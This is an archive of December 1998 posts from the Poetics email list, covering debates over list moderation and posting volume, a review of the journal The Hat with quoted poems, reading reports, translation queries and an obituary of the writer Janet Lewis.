> have given in those earlier instances: I may well be mistaken about this, but
> it has been a founding principal of the list and one I have stated more than
> any other one except the centrality of announcements of readings and
> publications for the list.
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> Indeed, in 1995, when the list had only 200 subscribers, I made the point
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> “I am interested in continuing to explore what formats and styles of posting
> encourage, rather than simply allow, participation in this ‘virtual
> uncommunity’. The volume of messages is certainly a useful measure of list
> activity; but volume itself may be an obstacle for some to participate,
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> it may encourage others.”
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> end up excluding those who are unable to handle the volume: people are
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>
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> http://writing.upenn.edu/epc/authors/bernstein

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167. Mark Weiss
Re: suggestions: self-control, et al.
Fri 4 Dec 1998

I have included most of your post because I assume that many, like me, have a hard time remembering what is being referred to, particularly in this forum, where several discussions may be going on at once. Part of what this list (I suppose any list) is is a community. Much of what you don't like is a form of community bonding. That I can share a witticism with someone I've never met and who, prior to my meeting them here, have never read, is I think a good thing. That I am allowed into the intimacy of a running joke, which is, by the way, an exemplary text (sorry, David, George and Rachel, if that spoils some of your fun) is for me a privilege. But there are always posts that I'll delete. Reports of readings I think are fairly useless. I'm glad they're there for others who like them, and I'm glad I don't have to read them. I of course have no idea what's of interest to the 700 subscribers, and pitching my posts with that in mind would render me mute more often than I would like. I can try to be relevant to my own interests, just as I am in work that I choose to publish, and hope that others

may also be interested. I know no other mechanism. Here's a rule of courtesy I would like to see observed (I observe it myself). Backchannelled messages should never be frontchannelled without the original sender's permission. I often use backchannel for quiet diplomacy or because I think that my message might be too incendiary if sent to the entire list. I'm aware that a backchannelled message may be seen as offensive or even harassing (I hope none of mine have been). If that's the case the recipient, it seems to me, should in the first place have recourse to Joel or Charles.

> *i thrive on: closely argued disussions of issues in poetics; suggestions and promotions of books and essays to read, small press publications and journals to hunt down and read; compelling cases made for writers whose work i might not otherwise check out; announcements of readings and events, even in places i might have to make an effort to get to; reports from readings and events that i would like to have attended but could not; simple queries that generate broader discussions; and yes, even some bickering (e.g. perloff-gudding, generational agon, etc).*
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168. **Dale Smith**

The Hat

Fri 4 Dec 1998

I read Jordan Davis and Chris Edgar's first issue of The Hat this morning, which I like for its focus and consistency of tone and 'spirit.' Two male editors

publishing a first issue with only women is quite notable and the results are not what I expected. (Hoa came into my room last night with a stack in one hand of poetry submissions from men and in the other ONLY one piece from a woman). So, I understand building an issue of women's writing is no easy task. To find a grouping of work that corresponds or echoes internally is difficult enough. Restricting that to a particular, traditionally under-represented gender, is moreso.

Lisa Jarnot's mix of high and low "tones" produces a lyric composition that dips into the literal revelation of her experience--emotional, cultural and intellectual. She writes:

In New Haven all the lights
go on across the sun, and for
millennia those who kiss fall into
hospitals, riding trains, wearing
black shoes, pursued by those
they love, the Chinese in the armies
with the shiny sound of Johnny Cash,
and in my plan to be myself
I became someone else with
soft lips and a secret life

The movement of phrases builds speed, injambing the lines to form a poetic structure that "sounds" like a poem in the classic sense. That is, her tone is elevated (as is the subject, I think) but the pieces, the fragments of life drawn in, are personal, popular, or trivial: mundane pieces elevated through the transmundane song of the poet.

In 'Moo is Om Backwards' Jarnot offers a similar song of heightened musical sensitivity that works if you don't mind the repetition and cuteness of its mooing cows and "daisies in the fields." Still, even the repetition (increased to abstraction), roots itself in song. It is a goofy song and I for one demand more goofiness from poetry! There is an expressiveness here worthy of mention, especially in this cynical domain.

Janice Lowe's poem 'The Summervilles of Pickens County' foregrounds racial concerns in an intense way. Although her use of the little 'i' is an annoying tick, she breaks the polite surface of the usual composure and repression surrounding such issues. She writes:

i tell the black ones calling me red
    you wanna be red like me nigger
the white ones
    you redder than me you gotdam cracker
all this is turning me
into a kind of peckerwood nigger

i don't like for people to be black and greasy at the same time
i prefer yellow women for lovemaking some have said
all my children have lightskinned mothers
of course i'm a race man

Attention to coloquial speech ("gotdamn cracker") and an emotional velocity that is specific to theme and location allows for the tension of this poem to expand out beyond theoretical concerns of race into actual perceptive rendering of the embodied word.

Kimberly Lyons short-lined poems attend to perceptions of event and object, executed with the confidence of a poet: elegant, tight, sonorous, commanding delight from those (like me) who find it hard to give. Prone to 'realistic' perception rather than forced abstraction, these poems radiate a lyric charm and sympathetic interior that makes her voice vulnerable to charges of naivetee and empty chatter.

On the bar
last night I saw
Three martinis,
trembling triangles.
Nancy said
this is the first time
I've felt happy.
Big white trucks.
I guess everybody goes there
at least once.

Sutured
is that kind of medical
word.

August just whitens
things down into themselves.

It's not the paratactic stanza jumps that bother me, but the occasional weight one word is forced to carry, words simply not worthy of the emotional depth conveyed in her phrasing. Still, 'overall,' a fine, (and by far the largest grouping here--20 pages), selection of poems.

Juliana Spahr closes The Hat with a single poem called 'Poem.' It addresses the yankee anxieties of the pronoun (the List covered this territory some weeks ago) in a direct, syllogistic address from "Albany or maybe Honolulu."

One fine day one woke up and found one's self gone.
But one didn't leave the boys behind.
One didn't leave the girls behind.

One didn't end nothing or it.
So one called out: mix with [generic pronound deleted]; mess with
[generic pronound deleted].
Or I or he or she am or is trying
missing or mixing things up.
Thanks for the directions.

This self-proclaimed "love poem" might be void of lutes and forlorn troubadors, but it is a kind of offering of the self, however guarded by the playfulness of syntactic play. This sophisticated piece plays with the implied meanings and reverberations of syntax and word-choice native to Spahr's socio/cultural concerns. But you'll have to read it for yourself to see the playful layers she weaves.

There are many other pieces worthy of mention but I am exhausted as are you, dear reader, I'm sure. So check out The Hat. Its editors have made something that is new to me, revealing an aspect of women's writings overlooked b

---

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169. Joe Amato/Kass Fleisher
Re: Freedom Is Never Free
Fri 4 Dec 1998

carlo, i just don't think it's that simple, man...

here charles has taken the time to situate his own motivations---his sense of what the list is, how it works, what he'd like to see happen... he can't be faulted for taking the time to state his opinions---though he *can* always be faulted to the extent that, as the person who founded (and provides some moderation for) the list, he invokes his (as he puts it) editorship in ways that may conflict with what some "we" out here likes or dislikes... and sure, charles's sense of the list is itself, as he indicates, a function of what *he* likes and dislikes, and what he's learned re such lists over time...

but the list, like that "we" two sentences back, is clearly neither univocal, nor binary... based on the last few dozen statements from various folks re what they like/don't like about the list (incl. you and me, carlo), one might well conclude that there is NO consensus at all as to what we should do re how this list runs... there is no consensus that it be left entirely to its own devices, there is no consensus that it NOT be... some of us (incl. me) have taken the rhetorical stance that it'd be better if we exerted a bit more self-moderation (i won't spell this out again)... some of us (like you, i'd say) are asking for a more vigorous, even

potentially agonistic exchange, in the belief that only with this measure of "freedom" might we collectively attain something of lasting value (fair gloss?)... and some of us don't understand why we're even bothering about any of this... we all have our reasons, that is, which may be entirely rational (or whatever)... but we all have our reasons...

let us assume the list functions out of some working dissensus, ok?... then, how best to handle this?... "do nothing" is surely not the only, nor is it necessarily the most democratic, response (if i believed this, i'd hardly go for ANY form of govt.)... neither is "censorship"...

and note: much of what we have at our disposal by way of gauging what IS being done around here is the list history---which itself varies considerably (some of us have been here for a month, some for a number of years)---and our experiences with other such lists (which varies in the obvious ways)...

again, like it or not, charles is free [cough] to take a stand here, and it's clearly not one based on sheer "censorship," but on editorial judgment---as he conceives it... whatever else, it's clear to yours truly, anyway, that charles is not merely casting out of the poetix empire those who fail to meet his arbitrarily-imposed parameters---though here again, you are free [cough] to see things otherwise...

i wonder though: are we really at such odds here, carlo?---or are we, both of us in our ways, being teased by the seductive nature of this medium---our words---to fall into such polarized quarters?...

alla that said: though i'd no doubt turn the screw somewhat differently than charles (b/c, for one, i'm not charles), i can only applaud his persistence here... and in any case i find his willingness to engage with us (an inclusive and dissenting us, mind you)---not in condescending terms, either, but by being forthcoming about what he finds important, and urgent---ample evidence that he's listening to what's being said...

best,

joe

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170. Joe Amato/Kass Fleisher
Re: Freedom Is Never Free
Fri 4 Dec 1998

---

oh & forgot to say that i had a chestnut blow up in my face the other day... the pulp hit me in my left eye, no shit...

& i pricked the shell too prior to roasting, as i always do...

tis the season, gotta watch them little suckers...

ok, gonna go watch the grinch steal xmas now...

///

joe

↑ Index

171. **George Thompson**
Re: Auster Studies
Fri 4 Dec 1998

Perhaps the list would benefit from your suggestions. I would be interested in them.

GT

> *Jim Bennet --*
>
> *I tried backchanneling you regarding "Auster Studies" but the computer belched it back. If you backchannel me I may be able to offer you suggestions.*
>
> *Hilton Obenzinger*

↑ Index

172. **michael corbin**
Re: Freedom Is Never Free
Fri 4 Dec 1998

I'm not sure of the ground work.

She helped me move the boxes. And put the books on the shelf. It got to be late. And she stayed. I didn't know he was returning. We weren't lovers, he and I, anymore, but there were future possibilities. And we still loved. We all needed a place to sleep. We could all save face.

"Because there is this unfinishing that partitions our being in common, there is 'literature', that indefinitely repeated suspended gesture of touching the limit, indicating and inscribing it but without crossing it or abolishing it in the fiction of a common body. To write for others means in reality to write because of others. The writer gives nothing and destines nothing to others; the project she has in view is not to communicate anything whatsoever, neither a message or herself. To be sure, there are always messages and persons, and it is important that both (treating them, if I can, as identical for the moment) to be communicated. But writing is the necessity of exposing the limit--not the limit of

communication, but the limit on which communication takes place." Jean-Luc Nancy, "Of Being-in-Common", _Community at Loose Ends_.

Difficult, when the bus is full (H4 line before 9 AM) to scribble. To send messages. But we are shoulder-to-shoulder. "Please move all the way back." "Pull to signal driver to stop".

mc

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173. Henry Gould
showdowns
Sat 5 Dec 1998

"And for God's sake you didn't expect anyone to _listen_ to your foul- mouthed broadcasts, did you? Some listened until bored to death and then quit. Viola listened and was fed up with your ranting. I didn't listen at all, the mere fact of your broadcasting at all at such a time was enough for me. You might as well realize that there is a point in all controversy beyond which a man's life (his final card) is necessarily forfeit. A man accepts that and goes on with his eyes open. But when the showdown comes he loses his life." - William Carlos Williams, Letter to Ezra Pound, March 29, 1946. (Pound was awaiting trial for treason.)

- Henry Gould

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174. Jim Andrews
Infoanimism and trickster accusations
Sat 5 Dec 1998

I think that the difficulties of any sort of poetics that involve things like dhtml or javascript or, really, any high-tech--and Alan Sondheim, Bob Haynes, and Bill Marsh have alluded to difficulties here--is to bring it home. Though this is also a general challenge in writing anything. To bring it home isn't to get lost in the technicalities of scripting, sort of like a creative writing approach that talks about line breaks and technique interminably. Though it is interesting to consider a criticism that can at once talk about the neath text in an engaging way while also finding ways to talk about totally non-technical dimensions of new media. Ideally, we develop a critical language that can lite through all the dimensions of the work and the frame and the other frames without getting bogged down in technicalities. That's what I'd like, anyway, and that's what I'm working toward in ditties like Infoanimism and even Enigma n.

I appreciate the opportunity to talk about these things here among writers with a real interest in these things, Alan, Bob, Bill, all.

Which brings me to my own two bits worth on the 'posting scandal'. Anyone who's ever organized poetry readings for a while or probably any public arty forum eventually seems to suffer the old phenomenon of the trickster insurrection and accusation. Lordy it's a bore the fifth time around. It's a bore and it's annoying because the important issue of freedom of speech is trivialized by the trickster who turns it into a childish sideshow for the sake of getting attention, nothing more.

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175. Chris Nagler
Re: Des Forets query
Sat 5 Dec 1998

Does anyone know of any English translations of novels by Louis-Rene Des Forets? If so, what is your impression of their quality?

chris nagler

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176. Billy Little
defining audience
Sat 5 Dec 1998

---

in the Creeley interview in the Cortland Review:
Who are some of the up and coming writers that interest you? Or are there any?

There are always far more than anyone as myself can keep track of or even recognize. The old are hardly the best judges for the young. "The old order changeth yielding place to new..." Hardly a new recognition. I remember Pound saying years ago that, after fifty, one can't keep ones eye on all the sprouting corn. After seventy it's hard enough even to see it. I think quickly of two young writers who interest me and always have: Jennifer Moxley, Vincent Katz. Susan Howe (who I have to remember is not young!) interests me always. Alice Notley, Leslie Scalapino. To you they might seem already too settled. But some writers, as Robert Grenier, are never so "done" as that presumes. They are always at work, on the way. Writers as Duncan McNaughton still wait for a defining audience.

what do you think he means by "a defining audience"

Let go, shirk off the moderate little grace of vain
Cupid and grease the silver and lascivious age.

His livid qualms dope our cool arrival.
Rich poems sag like great nuns; art cheats time's martyrs.
--Lisa Robertson XEclogue

billy little
4 song st
satori, b.c. V0R1Z0

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177. A. Jenn Sondheim
moderation, posting, etc.
Sat 5 Dec 1998

I hesitated about writing this post because I knew it would be a long one. For about five years, I've moderated or co-moderated a number of email lists, including Cybermind which has heavy posting at times; we reached an all-time high a couple of years ago at 117. We've also been trolled, hacked, and otherwise targeted by people wanting to bring down the list. Given that, I'm happy to see Poetics, in fact, so healthy. And every list goes through self-reflection; every list has in-groups, frequent posters - and lurkers, etc.

First point - when Michael Current and I started Cybermind, we thought of a list as a privilege - that subscribers are privileged to be on it - that it shouldn't ever be taken for granted. Even if the moderator does very little in terms of focusing, there is no reason whatsoever to assume that you have a _right_ to be on a list.

Why? Because a list is always running on free labor - on the labor of the sysadmins, the software designers (who are usually updating), and so forth. And especially the labor of the moderator. Don't _ever_ take this for granted; while at this point, my lists pretty much run themselves, there have been times (and will be more) when I've had to work hours and hours a day to keep them going. These times include heavy periods of subbing and unsubbing and requests regarding both; advertising the list whenever a change is made; searching for and augmenting a new 'home' for the list (Cybermind has moved three times); dealing with error messages - which can be nothing, or extremely bothersome if a loop's set up (one day I was on 16 hours taking care of that) feeding forward exponentially into people's mailboxes; dealing with problems of focus and other content issues; dealing with groups who deliberately try to troll or otherwise derail a list; and backchanneling constantly to keep things going smooth- ly.

This is all done freely, by me, and I assume by Charles, and by others who are running lists. And there _never_ is an answer to questions of focus, on-topic, off-topic, etc. that makes sense. Right now, I'm working with several people, starting a focused semi-moderated list dealing with cyber- culture, because

Cybermind has become an entrenched community (which I do not mean as a criticism). I notice Poetics is becoming the same, and that worries me.

What's the problem? That there are hundreds and hundreds on this listserv, and yet the number of high-volume posters is very limited. These posters know each other; they reference each other by first name, tell in-jokes about each other, create false and sometimes real squabbles and faux texts, and so forth. While this givesa sense of community, it is also very exclusionary; I understand in fact that there _is_ another list that has split from Poetics perhaps because of this.

We all want to be supportive of each other. Anyone working in the arts (however you want to define it) is under attack. Almost no one can support her- or himself. The statistics given in _Information on Artists, A study of artists' work-related human and social service needs in four U.S. loca- tions,_ written by Joan Jeffri and published by the Research Center for Arts and Culture at Columbia, are pathetic. In 1996, almost half NY artists (47.6%) earned less than $3000 from their work. So what is the point here?

That one way support occurs is through community formation. But commun- ity formation can also be organized around limited spoils - who gets grants, who doesn't, who's invited in the _other_ list, who isn't. The same community that's supportive is also exclusionary. The same devices on an email list that are supportive - first name and reminiscence for example - also create a feeling among others (including myself for that matter) that they're looking in through a window, which can't help, by the very terms and intensity and firewalling of that window, be a sign of privilege.

I don't honestly know what to do about this; other lists have the same symptoms, the same debates, the same trajectories - even the same splits into other lists (Future Culture and Fop-l and Phil-Lit all have had their splits). The splits sadden me, since they're more divisive than the on- list behaviors they critique by their very removal.

Now, Poetics is admirable. There are a high number of female posters - which you might take for granted, but this is by no means always the case. Flames here are like embers elsewhere; they're not particularly igniting. And the discussions are usually, almost always, focused - even these recent discussions are focused.

So what I would like to see, is, first, no quota for a person, but the 50 a day is reasonable (I think Cyb is currently set up with the same). Second, sensitivity to in-group/out-group behaviors - if you're _really_ writing something, say, to Peter Holiday, do you need the whole list to see it? While the writing might be great, etc., it does all too often create an image of eclusion. Third, advertising books and magazines etc. are terrific here and necessary - where else? Small press distribution has a hard enough time. Fourth, perhaps there should also be a few

more calls for papers and conference announcements. Sixth, try and bring others into the discussion through open-ended questioning at times. This may seem ab- surd and unnecessary, but again, all lists follow these trajectories, and it would be great if we could slightly switch off here.

And seventh, even though this is a private list, I don't think it would be a bad idea to actively try and bring new writers - who would benefit of course - onto it. At 660 or so, it's not _that_ private; Cyb's been around only 350 and we're completely public, listed all over the place.

Finally, I think calls from the moderator shouldn't be easily dismissed; he or she has spent _a lot_ of time working on the list, overseeing it, notices constantly, so it's easy to keep track of the overall trajectory of the list; when discussion on Cybermind gets nasty, the unsubs come in pretty quickly. So by all means give her or him the benefit of the doubt here - for us, Poetics is a space of discussion or presentation or dis- tribution - but we're not as aware of the full architecture as the mod- erator.

I'm not calling, btw, for a bow-down to authority or anything of that sort. Nor am I saying moderators are always right; there was a time I really blew it badly on Fop-l. But I am asking for a possibly more open and accommodating list than has been indicated in the recent past (of course from the viewpoint of the dinosaurs, all past is recent here).

Anyway, elsewhere I've lectured myself hoarse on issues of list gover- nance, and it's no wonder that so many moderators go, literally, crazy. But that's another topic and elsewhere.

Alan

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178. **Charles Alexander**

Re: Erasing/rigor

Sat 5 Dec 1998

> *For example, the programs Jim Rosenberg created to realize the vision of John Cage (this was the stuff with key words appearing vertically down the middle of the page, a sort of variation on acrostic, taken from existing texts --- anyone remember the name of this form?).*

mesostic
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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179. Carmen Butcher
West Coast Poetry Live--Lipstick Eleven Party/Small Press Traffic
Sat 5 Dec 1998

I went to the Lipstick Eleven Party tonight, a frosty night in SF, and the readings were wonderful. The half of this event I heard was superb. The scene from Kevin Killian's and Wayne Smith's "Diamonds and Rust" had the audience laughing. Dodie Bellamy of Small Press Traffic, Norma Cole (also Isabella Rossellini in "Diamonds and Rust"), Robert Gluck, and Robin Tremblay- McGaw read fresh, engaging pieces. And the raffled prizes were very pink and splendid.

I heard about the reading here! Cheers, Carmen

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180. J. Fuhrman
Re: Erasing
Sat 5 Dec 1998

Like everyone else I am sick of the meta-list talk and am anxious to get back to talking about poetry (if that's really what the list is for.) I thought I would pose a questions since many have said it would benefit the list if more people asked open-ended questions. I am a poet, not an academic or scholar so if my question seems clunky so be it. Lately I have been reading Rachel Blau DuPlessis's brilliant and haunting _Drafts 15-XXX, The Fold_,. In it, the image of text erased comes up. This image is also frequent in Michael Palmer and many other contemporary poets as well as visual artists. (Though I can't think of the names of any visual artists at the times, my head is full of images of text erased, blocked or blurred.) O.K. so my question, what is it about the decade we are in that makes this image resonate with us now. I guess the easy answer is that language poets and conceptual arts are interested in the philosophical issues that surround the question of "what is a text?" but I wonder if there might be more to it. In the sixties, poets were drawn to images of stones and bones partly because they may have been reading Jung-- but I think there were larger forces at work. The retreat into basic archetypal imagery was a response to the violence of the era. I think this argument is from _The Psyco-Sexual Muse_-- is that the book's title? I don't think I read it but I remember when it came out.) Anyway,I am searching for a sort of cultural answer and maybe it doesn't exist-- but I would be interested in what people think. If a cultural answer isn't appropriate, why not?

Joanna Fuhrman

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181. **Kathy Lou Schultz**
Re: West Coast Poetry Live--Lipstick Eleven Party/Small Press Traffic
Sat 5 Dec 1998

Woo-hoo! And might I add that Camille Roy was sultry, Mike Amnasan funny, and the lovely boy winner of the Hair-Do Dolls very gracious and grateful. Champagne and lovely La Med finger food was enjoyed in abundance. The readers/performers were all wonderful, as was the audience. Thanks to everyone for attending; I counted approx. 50 lovelies in all. And, remember, you heard about it here. Kathy Lou eyes of blue with a blond hair-do

Carmen Butcher wrote:
>
> I went to the Lipstick Eleven Party tonight, a frosty night in SF, and the
> readings were wonderful. The half of this event I heard was superb. The
> scene from Kevin Killian's and Wayne Smith's "Diamonds and Rust" had the
> audience laughing. Dodie Bellamy of Small Press Traffic, Norma Cole (also
> Isabella Rossellini in "Diamonds and Rust"), Robert Gluck, and Robin Tremblay-
> McGaw read fresh, engaging pieces. And the raffled prizes were very pink and
> splendid.
>
> I heard about the reading here! Cheers, Carmen

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182. **schuchat**
Re: Freedom Is Never Free
Sat 5 Dec 1998

---

the relevant work of scholarship on the issue of "whither the list" is Albert O. Hirschman, EXIT, VOICE AND LOYALTY, written in the 1960s. I recommend it to all.

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183. **miekal and**
whodunnit / festival
Sat 5 Dec 1998

---

this is only half of the story, Id like to see word count & see how the fabulous 20 stacks up, maybe you could bribe the twins to do it, in exchange for a free lifetime sub to the list.

Henry Gould 39
Gabriel Gudding 34
Kent Johnson 32
Mark Weiss 29
Jonathon Mayhew 29
A. Jenn Sondheim 25
David Bromige 24
miekal and 21
Joe Amato/Kass Fleisher 20
Eliza McGrand 19
Mairead Byrne 17
Mark Prejsnar 17
Mark DuCharme 14
Michael Magee 14
Aldon Nielsen 13
Dale Smith 13
Patrick Pritchett 12
George Bowering 12
Judy Roitman 11
Kathy Lou Schultz 11
Ron Silliman 11
Maria Damon 10
Todd Baron /*/ ReMap 10

one things that occurs to me & only one since alan, charles & ron have done a remarkable job of stroking the fire without smouldering it, is commeraderie, private sub lists, conspiracies & reconfigurations of the electronic space is how the electronic wilderness sustains itself. the more edges the more diversity. one evolution of the list that hasnt been discussed is it feels its time for real life poetics list gatherings/festivals, gatherings that would have the breadth that the list has achieved, a gathering where visual, sound, performance, & plain old poets who write words in lines could meet for several days & maybe shake up the patterns that have developed & do real work as well -- this is the same conclusion that the mailart network came to in the middle 80s, 1000s of people had mixed it up in the mail & it was time to meet face to face & invoke alliances of personality, taste & attraction that werent possible from simply exchanging art via mail. just an idea, the logistics of such gatherings would be daunting.

I too would like to return to the regularly scheduled broadcasts & am scheming of initiating a project on the list, that could occupy a narrow band of this broadcast. Im interesting in collectively creating a poetics of the hypertext that would withstand the enslaught of the many invigorated minds & styles -- & to create such a dialogue / reading thru as a hypertext. To do this everything

posted to this discussion would have to useable on a website other than the archives. Much of the hypertext & its discussion is quite bland & unremarkable & it would be a significant contribution to the field as a whole is we (or at least the fabulous & verbose 20) could take a stab at changing the static & 3 dimensional way hypertext thought seems to be evolving.

miekal

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184. miekal and
higgins memorial
Sat 5 Dec 1998

Does anyone know who is setting up the Dick Higgins memorial at Judson Church on December 27?

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185. Pierre Joris
Re: Des Forets query
Sat 5 Dec 1998

Chris Nagler wrote:

> *Does anyone know of any English translations of novels by Louis-Rene Des Forets? If so, what is your impression of their quality?*
>
> *chris nagler*

I don't know if they are still in print, but you may be able to get them through a University Library:

Des Forets, Louis-Rene. _The beggars. _(D. Dobson, London, 1948) (Translation of Les mendiants.)

_The children's room. _
(Calder, London 1963)
Translation of La chambre des enfants. (Includes The bavard.--The children's room.--The great moments of a singer.)

The latter would be a great find as it contains the core works (I think The Bavard is his best fiction) -- though I don't know how good the translation is, never having read it. Des Forets is a wonderful writer -- I guess he is getting somewhat better known here now because of Blanchot's renown.

Pierre

==========
Pierre Joris

[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

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186. Gabriel Gudding
reading recommendations
Sat 5 Dec 1998

I have just been reading John Lennard's _But I Digress: The Exploitation of the Parentheses in Printed English Verse_ (Clarendon [Oxford], 1991) and want to wholeheartedly recommend this very strange, clear, captivating book and its treatment of the history and dramas of the parentheses, including perforce a running history of English print and publication (Tom Beard, you might get a kick out of this [thank you by the way for yr recent post re type-face]). I have just reached 1680-1780 when type-face, grammar, syntax, style become less confused, less messy, clearer, giving over to a kind of Rationalization of The Page. At this time too a great denigration of Rhetorick.

Finally I want to recommend the reading of this List. It is a great read, including even its ructions. I read every post and no I do not have much leisure time no, being a guy barely 30 with a tiny baby, responsiBILities and who must wake at 4 am each day just to find time to write poetry before baby Clio wakes up, YES I recommend this list: it is indeed a great read, ructions and all. The Lord bless this list and its boinky of bounty! God bless the lurkers too; let them lurk if they want; God bless the blabbermouths too, whoever they are.

Lector, lege in toto. gaga

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187. Susan Wheeler
DC Reading
Sat 5 Dec 1998

Lane Jennings & Susan Wheeler

Sunday, December 6
2:00 pm
The Writer's Center, Bethesda
[redacted]

Susan Wheeler
[redacted]
voice/fax [redacted]

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188. **Ron Silliman**
Policing the List
Sat 5 Dec 1998

I think that the List is an unprecedented resource for poetry. The fact that 666 people subscribe to it speaks eloquently enough for us all.

I'm sympathetic with the problems of stewardship that Charles and Joel have shouldered in making possible such an amazing project. Anyone who has ever spent time checking out the poetry usenet groups knows what a totally unedited, public resource might look like. By placing the most modest conception of "private" around the space, the List has managed to become something very different indeed. The problem is how to keep that conception modest indeed.

So I'm also sympathetic to the perspective faced by Henry Gould and my personal vote here is to bring the man back. If Henry represents the extreme example, it's not all that different from what a lot of us on the list do and have done. My own sense is that the only good reason to 86 someone from the list is if the person uses it to make violent, threatening or maliciously false statements. Talking too much even with a keyboard may be obnoxious, but it's not on the same order.

I think that the list works best when we self-govern it, which means self-governing ourselves and our own behavior.

Lets look at how the list really works. In the month of November, 1998, there were 984 messages posted by 215 different people. The EPC archive for that month lists 219 posters, but 5 of them appear to have been Henry (including once as Eric Blarnes). At 50 messages per day for a 30 day month, November had a capacity for 1,500 messages. That means that we left fully one-third of the potential space unused. 516 messages that never got written and sent.

215 posters means that 451 lurkers chose not to send a single message. Sixty four people sent only a single message. So 151 people chose to send more than one. On average, people posted 4.5 messages for the month. (And, 451 "silent

lurkers" could have each posted once and we still would have had room for another 65 messages, two per day for the entire month.)

23 of us, myself included, more than doubled the average of posts made by active users. In fact, these 23 people accounted for 437 messages, 44% of the entire months conversation. We all know who we are, but for the record, here by number of November posts (Henry's five groups bundled into one total), are the heaviest users:

Henry Gould 39
Gabriel Gudding 34
Kent Johnson 32
Mark Weiss 29
Jonathon Mayhew 29
A. Jenn Sondheim 25
David Bromige 24
miekal and 21
Joe Amato/Kass Fleisher 20
Eliza McGrand 19
Mairead Byrne 17
Mark Prejsnar 17
Mark DuCharme 14
Michael Magee 14
Aldon Nielsen 13
Dale Smith 13
Patrick Pritchett 12
George Bowering 12
Judy Roitman 11
Kathy Lou Schultz 11
Ron Silliman 11
Maria Damon 10
Todd Baron /*/ ReMap 10

Seven folks count for more than 20 percent of the month's messages, but in fact, Henry's not so far above Gabriel and Kent. What I see here is a continuum of use. There is no magic number below which usage drops suddenly. Unless it's the benchmark between one and zero.

My question is -- is this a problem if in fact a third of the list's potential capacity remains unused? Not so very much of one, I think.

I do think -- I've said this before -- that it makes sense to stop and think before posting more than two times on a given day. But even Henry has an average of under 1.3 posts per day.

When people do post more than once per day, there is usually a reason, more specifically some thread, whether it's one of high theoretical seriousness or the sort of banter that George, Eliza and David treat us to (without which this list would lose a lot of its personality, frankly). In fact, an absolutely equal distribution of posts among users would mean just 2.2 messages per month, which would make the list more or less incoherent I suspect, since threads would be almost impossible and we would be reduced to listing readings, books, etc. (there may someday be need for such a list, but we haven't gotten there yet).

What this leads me to conclude is that we should -- each of us -- be our own personal editor (doing the police, literally, in different voices). I'm not convinced that we need any heavier hand at this point, although I think discussions like this one are worthwhile to keep us mindful of the list's realities, limitations and needs.

Finally, one aside, on the nature of my own three addresses: one ([redacted]) is for a digest version of the list; a second ([redacted]) is to get messages "in real time," which allows me on a slow day to read what's been going on from the office. [I often just read the digest and then go back and delete everything from the "real time" version, which means that personal messages sent to that address run some risk of never being read.] The third account (netcom) is an old email account that I've been unable to get Joel to remove from the list. I don't have access to it anymore and can't self-unsubscribe from that address. But I tried getting Joel to do it for me when he was attempting to manage the list without benefit of either a permanent email address himself or even a steady home. (Talk about herculean dedication to the list!) Maybe now that account can go away.

Ron Silliman

↑ Index

189. J Kuszai
test--please delete--do not respond to this
Sat 5 Dec 1998

---

ahem...testing...testing...

can you hear me?

this is only a test, please delete
do not respond to this post as it constitutes 1/50 of the days
conversation

i am conducting an analysis of the poetics list subscribers settings and the last part of it (to double check) requires that I post something to the list to get an acknowledgement

I will send a message in a few minutes explaining what I have discovered. (in partial reply to Ron's stats)

jk

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190. Ron Silliman
Janet Lewis
Sat 5 Dec 1998

Janet Lewis
Stephen Schwartz
Saturday, December 5, 1998
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URL:
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1998/12/05/MN4835.DTL

Janet Lewis, an internationally known poet, novelist and opera librettist, has died at her Los Altos home. She was 99.

The widow of the poet and critic Yvor Winters, who died in 1968, Miss Lewis lived to see her fame outweigh his, thanks to her authorship of ``The Wife of Martin Guerre,'' a novel about 16th century France, which was adapted for opera, screen and musical stage productions.

She was born in Chicago and grew up in Oak Park, Ill., a contemporary of Ernest Hemingway, and contributed to the same high school magazine as he.

She graduated from the University of Chicago, with a major in French. While there, she met Mr. Winters, whom she married in 1926 and accompanied to California.

At first, she preferred poetry as a medium, publishing several books, beginning with ``The Indians in the Woods'' in 1922.

Later, however, she concentrated on fiction, authoring ``The Invasion,'' an account of the interplay between white and Indian culture on the frontier, published in 1932.

She is best known for three short novels on historical themes. The first, ``The Wife of Martin Guerre,'' was written in Los Altos and finished in 1937.

It was issued in a hand-printed edition in 1941, by The Colt Press, a distinguished enterprise run by writer and book designer Jane Grabhorn, and supported by businessman William Matson Roth.

The book was reissued in 1959 by The Swallow Press and has remained in print ever since.

``Guerre,'' told from a woman's viewpoint, deals with a man who poses as another, and whose identity must be resolved by a trial. The story was presented in opera form, with music by Bay Area composer William Bergsma, in 1961.

That work was praised by music critic Richard F. Goldman, of the Music Quarterly, as ``the best American opera I have heard.''

In 1984, a French film version, ``The Return of Martin Guerre'' was released with Gerard Depardieu. It was remade as an American film set in the Civil War, ``Sommersby,'' released in 1993 with Jodie Foster and Richard Gere.

Of Miss Lewis's remaining short historical novels, ``The Trial of Soren Qvist'' appeared in 1947, and ``The Ghost of Monsieur Scarron'' in 1959.

The three short novels were based on actual incidents. In addition, ``Against A Darkening Sky,'' a novel based on the 1933 kidnapping of a department store heir in San Jose, and the lynching of his accused abductors, was published in 1943 and reprinted in 1985.

During the 1960s, Miss Lewis taught in the creative writing department at Stanford. Her writing attracted even greater attention with the rise of the feminist movement.

She also published several volumes of stories and other poetry collections, including ``Poems Old and New: 1918-1978.''

In a comment with which many authors would agree, she told an interviewer in 1996, ``The exciting moments come when you're writing. They disappear so fast.''

She is survived by a daughter, Joanna Thomson of Madison, Wis., and a son, Daniel Winters of Davis. No service has been announced.

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191. **J Kuszai**

Numbers, Daughter of The Book

Sat 5 Dec 1998

Dear poets, poeticists, poetasters, taskers, and criticks-

my last post was sent simply to generate this following message:

Your message dated Sat, 05 Dec 1998 08:50:19 -0500 with subject "test--please delete--do not respond to this" has been successfully distributed to the POETICS list (452 recipients).

